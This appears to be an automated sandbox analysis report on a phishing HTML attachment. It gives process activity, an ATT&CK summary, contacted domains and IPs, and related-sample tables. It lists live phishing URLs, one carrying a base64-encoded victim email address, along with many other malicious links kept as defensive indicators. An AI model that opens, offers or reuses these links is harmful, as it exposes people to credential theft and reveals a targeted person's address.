Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: classification engine

Classification label: mal96.phis.evad.winHTML@28/72@40/17

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\VN_MSG-Splcenter.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1808,i,11259939313159330260,10342011823358960572,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1808,i,11259939313159330260,10342011823358960572,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://t8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=

HTTP Parser: https://t8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VN_MSG-Splcenter.html	2%	Virustotal		Browse

Source	Detection	Scanner	Label
https://tfs7p.tjezyf.ru/chiriya$3c6dm	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/VN_MSG-Splcenter.html	0%	Avira URL Cloud	safe
https://t8ja.vyhbxyts.ru/3cDRxGja/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
e329293.dscd.akamaiedge.net	95.101.182.112	true	false	high
code.jquery.com	151.101.194.137	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
tfs7p.tjezyf.ru	172.67.153.160	true	false	unknown
b-0004.b-msedge.net	13.107.6.156	true	false	high
www.google.com	172.217.16.196	true	false	high
t8ja.vyhbxyts.ru	188.114.97.3	true	true	unknown
a1894.dscb.akamai.net	95.101.54.226	true	false	high
www.tm.a.prd.aadg.trafficmanager.net	20.190.160.132	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
www.microsoft365.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
portal.office.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://t8ja.vyhbxyts.ru/3cDRxGja/	true	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US	false		high
https://portal.office.com/	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://login.microsoftonline.com/favicon.ico	false		high
https://tfs7p.tjezyf.ru/chiriya$3c6dm	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://www.microsoft365.com/login?ru=%2F%3Ffrom%3DPortalHome	false		high
file:///C:/Users/user/Desktop/VN_MSG-Splcenter.html	true	Avira URL Cloud: safe	unknown
https://t8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://login.microsoftonline.com	chromecache_125.2.dr, chromecache_118.2.dr	false	high
https://T8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=	VN_MSG-Splcenter.html	true	unknown
https://login.windows-ppe.net	chromecache_125.2.dr, chromecache_118.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.6.156	b-0004.b-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
20.190.160.132	www.tm.a.prd.aadg.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
40.126.32.133	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.153.160	tfs7p.tjezyf.ru	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	t8ja.vyhbxyts.ru	European Union	13335	CLOUDFLARENETUS	true
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
95.101.54.226	a1894.dscb.akamai.net	European Union	34164	AKAMAI-LONGB	false

Private

IP
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1631327
Start date and time:	2025-03-06 22:53:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VN_MSG-Splcenter.html
Detection:	MAL
Classification:	mal96.phis.evad.winHTML@28/72@40/17
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.184.206, 64.233.184.84, 142.250.185.142, 216.58.206.78, 172.217.18.10, 142.250.184.234, 142.250.186.106, 142.250.186.170, 142.250.185.138, 142.250.185.106, 142.250.185.170, 142.250.185.202, 142.250.186.74, 142.250.184.202, 142.250.185.74, 142.250.186.138, 172.217.16.138, 216.58.206.74, 142.250.186.42, 216.58.212.138, 142.250.185.78, 88.221.110.106, 2.17.190.73, 142.250.185.238, 142.250.186.78, 172.217.16.206, 142.250.186.46, 142.250.186.110, 40.126.31.128, 20.190.159.0, 20.190.159.71, 20.190.159.131, 40.126.31.67, 20.190.159.129, 20.190.159.130, 40.126.31.129, 20.190.159.73, 40.126.31.1, 40.126.31.71, 20.190.159.2, 40.126.31.0, 40.126.31.3, 40.126.31.69, 172.217.16.202, 172.217.23.106, 142.251.13.95, 216.58.206.42, 13.69.239.72, 20.50.73.4, 142.250.185.206, 23.60.203.209, 4.245.163.56, 13.107.246.60, 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, optimizationguide-pa.googleapis.com, clients1.google.com, prdv4a.aadg.msidentity.com, onedscolprdneu00.northeurope.cloudapp.azure.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, onedscolprdneu13.northeurope.cloudapp.azure.com, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, eu-mobile.events.data.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.6.156	http://laserbyyas.com.au/double/PDF	Get hash	malicious	HTMLPhisher	Browse	www.office.com/
13.107.6.156	https://www.meg-claimpymnt.net	Get hash	malicious	HTMLPhisher	Browse	www.office.com/
151.101.194.137	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
developers.cloudflare.com	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	104.16.4.189
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	104.16.2.189
	.deveba=.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://panel.diggdigital.com/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.4.189
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceUNVTOZBXQQ.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.5.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.5.189
code.jquery.com	http://rebcare.help	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.66.137
	http://go.m1.hrcompliance.online/track/click/SlC0AvG0onqQGsW7nu2rzJxK31w/1/aHR0cHM6Ly9rbm93bGVkZ2VibGVuZGVyLmNvbS9sb2FkLWNvdXJzZS9kMGIyYjhiYTc1N2RmZmIyOTU2MmFhNDgxZmI0M2MxYg==/?md5=_YTGGM8DHft1JCbCGS6PPg	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://krlbnwrvjizgauhuaegf.supabase.co/storage/v1/object/public/enroute-computer/Enroute%20Computer%20Solutions.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	151.101.66.137
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	151.101.130.137
	.deveba=.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.2.137
	https://panel.diggdigital.com/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.2.137
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceUNVTOZBXQQ.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.66.137
	_EXT_ _EXT_ Hydraulic pump.msg	Get hash	malicious	Unknown	Browse	151.101.130.137
cdnjs.cloudflare.com	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	https://themortgagehub.netlify.app/	Get hash	malicious	Unknown	Browse	104.17.24.14
	voice-recording-DBWONKGPCK-08-03-2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	104.17.24.14
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	104.17.25.14
	.deveba=.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	https://panel.diggdigital.com/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.24.14
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceUNVTOZBXQQ.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	_EXT_ _EXT_ Hydraulic pump.msg	Get hash	malicious	Unknown	Browse	104.17.24.14
	OPENBASE ATT09918_ 6TH_MARCH_2025 _.PDF	Get hash	malicious	Unknown	Browse	104.17.24.14
challenges.cloudflare.com	https://spaceavenue.ae/Wilbe/roni.html	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.95.41
	voice-recording-DBWONKGPCK-08-03-2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	3vnPlay__(Mimi.merhi)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	104.18.95.41
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	104.18.95.41
	.deveba=.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.94.41
	https://panel.diggdigital.com/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.95.41
e329293.dscd.akamaiedge.net	voice-recording-DBWONKGPCK-08-03-2025.htm	Get hash	malicious	HTMLPhisher	Browse	92.123.12.139
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	95.101.182.112
	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	2.17.22.41
	.deveba=.svg	Get hash	malicious	HTMLPhisher	Browse	95.101.182.89
	https://u1.padletusercontent.com/uploads/padlet-uploads/3491219737/2b368a4a8c3de6ef146e1b5ca28dcf1c/Share_Point_Job.pdf?token=kUv4QPZM_xCPPM7mCAJwOQckUdcPaTXl8JcH_ik0EG6fOlLtGD17RFQ3UfWGFXKpjNWXbm3fV22wRZUwL8VMq771U8Sg0IT70GqvXXwELk2W8o4uQHfeHL67H22qqQiuRnnNXnz4Zp-iKqCKwXqvNRT635EL_fYQeJYkRnrKI_juzey3Hw79gGMOz7bMor1Vs7yfO-lZRNB-5p8AOo5v8SFldS9lnw0I7sVfRz2XwUy23_eoCU3_NZCAOoEF2bZy	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	92.123.12.139
	Play_Now.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	95.101.182.65
	https://playfintechyni.sbs/?cjcqzskk?&	Get hash	malicious	HTMLPhisher	Browse	23.15.178.154
	https://stats.sender.net/link_click/eXzzr5-gpoZqzG-1uv25A/28201475b69bbc587107f3682383db16	Get hash	malicious	HTMLPhisher	Browse	95.101.182.98
	https://activatemicrostfacctCGMcpsDaBY.mxylqif.ru/xZj1Kc/#aW5mb0B1cmxhdWItbHVuei5hdA==	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	95.101.182.98
	https://stats.sender.net/link_click/eXzzr5-gpoZqzG-1uv25A/28201475b69bbc587107f3682383db16	Get hash	malicious	HTMLPhisher	Browse	92.123.12.177

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://bridesrilanka.com/myreservedroom	Get hash	malicious	ScreenConnect Tool	Browse	104.21.72.166
	https://spaceavenue.ae/Wilbe/roni.html	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse	104.18.11.200
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	http://go.m1.hrcompliance.online/track/click/SlC0AvG0onqQGsW7nu2rzJxK31w/1/aHR0cHM6Ly9rbm93bGVkZ2VibGVuZGVyLmNvbS9sb2FkLWNvdXJzZS9kMGIyYjhiYTc1N2RmZmIyOTU2MmFhNDgxZmI0M2MxYg==/?md5=_YTGGM8DHft1JCbCGS6PPg	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://assets.website-files.com/65f049a751a1a69da635c332/65f5ba14b55bafaaa963e8e4_buteb.pdf	Get hash	malicious	Unknown	Browse	172.64.153.55
	Ccp3sJPDXs.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
	https://themortgagehub.netlify.app/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://www.octopuspro.xyz/	Get hash	malicious	Unknown	Browse	104.21.84.46
	voice-recording-DBWONKGPCK-08-03-2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
FASTLYUS	http://rebcare.help	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://spaceavenue.ae/Wilbe/roni.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse	151.101.2.217
